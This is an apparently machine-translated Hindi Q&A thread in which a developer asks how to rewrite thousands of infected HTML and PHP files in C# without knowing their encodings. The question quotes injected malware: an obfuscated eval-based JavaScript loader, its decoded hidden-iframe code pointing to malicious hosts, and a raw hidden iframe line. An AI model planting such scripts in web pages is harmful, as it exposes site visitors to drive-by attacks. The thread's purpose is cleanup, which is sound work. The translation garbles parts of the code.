2012-02-09 14 views
6

मुझे एफ़टीपी से 5000 से अधिक फ़ाइलों को .html और .php फ़ाइलों के रूप में डाउनलोड करने की आवश्यकता है। मुझे प्रत्येक फाइल को पढ़ने और वायरस द्वारा रखी गई कुछ चीजों को हटाने की जरूरत है और इसे वापस एफ़टीपी में सहेजना है।क्या सी # में एन्कोडिंग को जानने के बिना फ़ाइल को छोटे बदलावों के साथ पढ़ा और लिखा जा सकता है?

मैं निम्नलिखित कोड का उपयोग कर रहा:

string content; 
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) { 
    content = sr.ReadToEnd(); 
    sr.Close(); 
} 

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8)) 
{ 
    sw.WriteLine(content); 
    sw.Close(); 
} 

मैं हाथ से कुछ फ़ाइलों को डाउनलोड किया है और कुछ <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" /> है, लेकिन मुझे लगता है करने के लिए उन सभी को इस तरह कर रहे हैं नहीं करना चाहेंगे। मैंने नोटपैड ++ के साथ चेक किया और कुछ टेक्स्ट फाइलें एएनएसआई हैं। PHP यूटीएफ -8 और एचटीएमएल विंडोज -1250 प्रतीत होता है लेकिन मैं इसे ठीक करने की कोशिश करते समय फ़ाइलों को तोड़ना नहीं चाहता हूं। तो क्या कोई तरीका है कि मुझे एन्कोडिंग को जानना/अनुमान लगाना नहीं होगा और यह मुझे वेब पृष्ठों से वायरस लिंक को हटाने देगा?

संपादित करें। यदि

वर एस = नई स्ट्रिंग(); try {document.rvwrew.vewr} पकड़ (क्यू) {r = 1; ग = स्ट्रिंग}: मैं खोजने के लिए और कुछ इस तरह दूर करने के लिए कोशिश कर रहा हूँ (आर & & document.createTextNode) u = 2; e = eval; m = [4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49.5 * यू, 234/यू, 54.5 * यू, 202/u, 55 * यू, 232/यू, 23 * यू, 206/u, 50.5 * यू, 232/यू, 34.5 * यू, 216/u, 50.5 * यू, 218/यू, 50.5 * यू, 220/यू, 58 * यू, 230/यू, 33 * यू, 242/u, 42 * यू, 194/यू, 51.5 * यू, 156/u, 48.5 * यू , 218/यू, 50.5 * यू, 80/u, 19.5 * यू, 196/u, 55.5 * यू, 200/u, 60.5 * यू, 78/u, 20.5 * यू, 182/u, 24 * यू, 186 /u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u , 20 * यू, 82/u, 29.5 * यू, 18/u, 4.5 * यू, 250/u, 16 * यू, 202/u, 54 * यू, 230/यू, 50.5 * यू, 64/u, 61.5 * यू, 18/u, 4.5 * यू, 18/u, 50 * यू, 222/u, 49.5 * यू, 234/यू, 54.5 * यू, 202/u, 55 * यू, 232/यू, 23 * यू , 238/u, 57 * यू, 210/u, 58 * यू, 202/u, 20 * यू, 68/u, 30 * यू, 210/u, 51 * यू, 228/u, 48.5 * यू, 218/यू, 50.5 * यू, 64/u, 57.5 * यू, 228/u, 49.5 * यू, 122/u, 19.5 * यू, 208/u, 58 * यू, 232/यू, 56 * यू, 116/यू, 23.5 * यू, 94/u, 51 * यू, 210/u, 49 * यू, 202/u, 57 * यू, 194/यू, 57.5 * यू, 232/यू, 48.5 * यू, 232/यू, 23 * यू, 198/u, 55.5 * यू, 218/यू, 23.5 * यू, 232/यू, 50.5 * यू, 218/यू, 56 * यू, 94/u, 57.5 * यू, 232/यू, 48.5 * यू, 232/यू, 23 * यू, 224/u, 52 * यू, 224/u, 19.5 * यू, 64/u 59.5 * यू, 210/u, 50 * यू, 232/यू, 52 * यू, 122/u, 19.5 * यू, 98/यू, 24 * यू, 78/u, 16 * यू, 208/u, 50.5 * यू, 210/u, 51.5 * यू, 208/u, 58 * यू, 122/यू, 19.5 * यू, 98/यू, 24 * यू, 78/u, 16 * यू, 230/यू, 58 * यू, 242/u, 54 * यू, 202/u, 30.5 * यू, 78/u, 59 * यू, 210/यू, 57.5 * यू, 210/यू, 4 9 * यू, 210/यू, 54 * यू, 210/यू, 58 * यू, 242/यू, 2 9 * यू, 208/यू, 52.5 * यू, 200/u, 50 * यू, 202/u, 55 * यू, 118/u, 56 * यू, 222/u, 57.5 * यू, 210/u, 58 * यू, 210/u, 55.5 * यू , 220/यू, 29 * यू, 194/u, 49 * यू, 230/यू, 55.5 * यू, 216/u, 58.5 * यू, 232/यू, 50.5 * यू, 118/u, 54 * यू, 202 /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u 31 * यू, 120/यू, 23.5 * यू, 210/u, 51 * यू, 228/u, 48.5 * यू, 218/यू, 50.5 * यू, 124/u, 17 * यू, 82/u, 29.5 * यू, 18/u, 4.5 * यू, 250/यू, 4.5 * यू, 18/u, 51 * यू, 234/यू, 55 * यू, 198/u, 58 * यू, 210/u, 55.5 * यू , 220/यू, 16 * यू, 210/u, 51 * यू, 228/u, 48.5 * यू, 218/यू, 50.5 * यू, 228/u, 20 * यू, 82/u, 61.5 * यू, 18 /u,4.5*u,18/u, 59 * यू, 194/u, 57 * यू, 64/u, 51 * यू, 64/u, 30.5 * यू, 64/u, 50 * यू, 222/u, 49.5 * यू, 234/यू, 54.5 * यू, 202/u, 55 * यू, 232/यू, 23 * यू, 198/u, 57 * यू, 202/u, 48.5 * यू, 232/यू, 50.5 * यू, 138/u, 54 * यू, 202/u, 54.5 * यू, 202/u, 55 * यू, 232/यू, 20 * यू, 78/u, 52.5 * यू, 204/u, 57 * यू, 194/यू, 54.5 * यू, 202/यू, 19.5 * यू, 82/u, 29.5 * यू, 204/u, 23 * यू, 230/यू, 50.5 * यू, 232/यू, 32.5 * यू, 232/यू, 58 * यू, 228/u, 52.5 * यू, 196/u, 58.5 * यू, 232/यू, 50.5 * यू, 80/u, 19.5 * यू, 230/यू, 57 * यू, 198/u, 19.5 * यू, 88/u, 19.5 * यू, 208/u, 58 * यू, 232/यू, 56 * यू, 116/u, 23.5 * यू, 94/u, 51 * यू, 210/u, 49 * यू, 202/u, 57 * यू, 194/यू, 57.5 * यू, 232/यू, 48.5 * यू, 232/यू, 23 * यू, 198/u, 55.5 * यू, 218/यू, 23.5 * यू, 232/यू, 50.5 * यू, 218/यू, 56 * यू, 94/u, 57.5 * यू, 232/यू, 48.5 * यू, 232/यू, 23 * यू, 224/u, 52 * यू, 224/u, 19.5 * यू, 82/u, 2 9 .5 * यू, 204/यू, 23 * यू, 230/यू, 58 * यू, 242/यू, 54 * यू, 202/यू, 23 * यू, 236/यू, 52.5 * यू, 230/यू, 52.5 * यू, 196/u, 52.5 * यू, 216/u, 52.5 * यू, 232/यू, 60.5 * यू, 122/u, 19.5 * यू, 208/u, 52.5 * यू, 200/u, 50 * यू , 202/u, 55 * यू, 78/u, 29.5 * यू, 204/u, 23 * यू, 230/यू, 58 * यू, 242/u, 54 * यू, 202/u, 23 * यू, 224 /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u , 55.5 * यू, 216/u, 58.5 * यू, 232/यू, 50.5 * यू, 78/u, 29.5 * यू, 204/u, 23 * यू, 230/यू, 58 * यू, 242/यू, 54 * यू, 202/u, 23 * यू, 216/u, 50.5 * यू, 204/u, 58 * यू, 122/u, 19.5 * यू, 96/u, 19.5 * यू, 118/u, 51 * यू, 92/u, 57.5 * यू, 232/यू, 60.5 * यू, 216/u, 50.5 * यू, 92/u, 58 * यू, 222/u, 56 * यू, 122/u, 19.5 * यू, 96/यू, 19.5 * यू, 118/u, 51 * यू, 92/u, 57.5 * यू, 202/u, 58 * यू, 130/u, 58 * यू, 232/यू, 57 * यू, 210/यू, 49 * यू, 234/यू, 58 * यू, 202/u, 20 * यू, 78/u 59.5 * यू, 210/u, 50 * यू, 232/यू, 52 * यू, 78/u, 22 * यू, 78/u, 24.5 * यू, 96/u, 19.5 * यू, 82/u, 29.5 * यू, 204/u, 23 * यू, 230/यू, 50.5 * यू, 232/यू, 32.5 * यू, 232/यू, 58 * यू, 228/u, 52.5 * यू, 196/u, 58.5 * यू, 232/यू, 50.5 * यू, 80/u, 19.5 * यू, 208/u, 50.5 * यू, 210/u, 51.5 * यू, 208/u, 58 * यू, 78/u, 22 * ​​यू, 78/u, 24.5 * यू, 96/u, 19.5 * यू, 82/u, 29.5 * यू, 18/यू, 4.5 * यू, 18/u, 50 * यू, 222/u, 49.5 * यू, 234/यू, 54.5 * यू, 202/u, 55 * यू, 232/यू, 23 * यू, 206/u, 50.5 * यू, 232/यू, 34.5 * यू, 216/u, 50.5 * यू, 218/यू, 50.5 * यू, 220/यू, 58 * यू, 230/यू, 33 * यू, 242/u, 42 * यू, 194/यू, 51.5 * यू, 156/u, 48.5 * यू, 218/यू, 50.5 * यू, 80/u, 19.5 * यू, 196/u, 55।5 * यू, 200/u, 60.5 * यू, 78/u, 20.5 * यू, 182/u, 24 * यू, 186/u, 23 * यू, 194/u, 56 * यू, 224/u, 50.5 * यू, 220/यू, 50 * यू, 134/u, 52 * यू, 210/u, 54 * यू, 200/u, 20 * यू, 204/u, 20.5 * यू, 118/u, 4.5 * यू, 18/u, 62.5 * यू], अगर (ग) मिमी = fromCharCode साथ (document.createTextNode); के लिए (i = 0;! मैं = m.length; i ++) रों + = मिमी (ड ("मीटर" + "[ "+" मैं "+ ']')); try {doc.qwe.removeChild()} पकड़ (क्यू) {ई (रों);}

डिकोडिंग के बाद

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

है जो और जब आप वेबपेज पर जाते हैं तो यह आपको बताता है (डिकोडिंग के बाद)।

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write(""); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

स्क्रिप्ट पिछले 3 लाइनों में जोड़ा जाता है और मूल रूप से शुरू होता है सही </html> वर

के बाद PHP स्क्रिप्ट और अधिक या कम लाइन <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe> के इस प्रकार है, लेकिन यह फाइल में कहीं भी हो सकता है।

यह सुनिश्चित नहीं है कि उन फ़ाइलों को फिर से लिखने के लिए कोई अन्य तरीका है या नहीं। लेकिन 5000 फाइलों के माध्यम से जाने के लिए थोड़ा और जोखिम भरा लगता है :-)

+0

यदि आप फ़ाइलों को संशोधित कर रहे हैं, तो आपको एन्कोडिंग को जानना होगा या आपको व्यावहारिक रूप से कुछ तोड़ने की गारंटी है। – Dave

+0

बस एक विचार है, लेकिन क्या आपके पास वायरस मिलने से पहले इन फ़ाइलों के साफ संस्करण नहीं हैं, या तो मूल जो अपलोड किए गए थे या बैक-अप? यदि नहीं, तो आगे बढ़ने के बारे में सोचना कुछ है। –

+0

नहीं। नए ग्राहक ने आज मुझसे संपर्क किया और मूल रूप से वह जो मिला है वह 2 प्रकार की प्रविष्टियों वाली फाइलों का एक गुच्छा है। मैंने 'समस्याग्रस्त कोड' के साथ प्रश्न अपडेट किया है। – MadBoy

उत्तर

3

मानते हैं कि कोई भी फाइल यूटीएफ 16 या यूटीएफ 32 नहीं है, और जिन हिस्सों के साथ आप बातचीत करना चाहते हैं वे पूरी तरह से 7-बिट ASCII हैं, आप इसे Encoding.Default के रूप में खोल और सहेज सकते हैं, जो कि किसी भी उच्च चरित्र को सही ढंग से गोल करेगा।

+0

मैंने प्रश्न अपडेट किया है। भागों को एन्कोडिंग.डिफॉल्ट का उपयोग करके करने योग्य होना चाहिए। मैं इसे – MadBoy

+0

आज़माउंगा यह चाल अच्छी तरह से करता है। धन्यवाद! – MadBoy

1

वायरस को अपनी फाइलों में अपनी सामग्री जोड़ने के लिए फ़ाइल एन्कोडिंग को जानने की आवश्यकता नहीं थी, इसलिए यह स्पष्ट रूप से संभव है। फ़ाइल को टेक्स्ट के रूप में इलाज करने के बजाय, क्या आप इसे बाइनरी फ़ाइल के रूप में संसाधित नहीं कर सकते हैं और वायरस को जोड़ने वाले पैटर्न के लिए खोज कर सकते हैं?

+0

मुझे नहीं पता। मैंने कोड के साथ प्रश्न अपडेट किया है जिसे मुझे हटाने की जरूरत है। – MadBoy

 संबंधित मुद्दे

  • कोई संबंधित समस्या नहीं^_^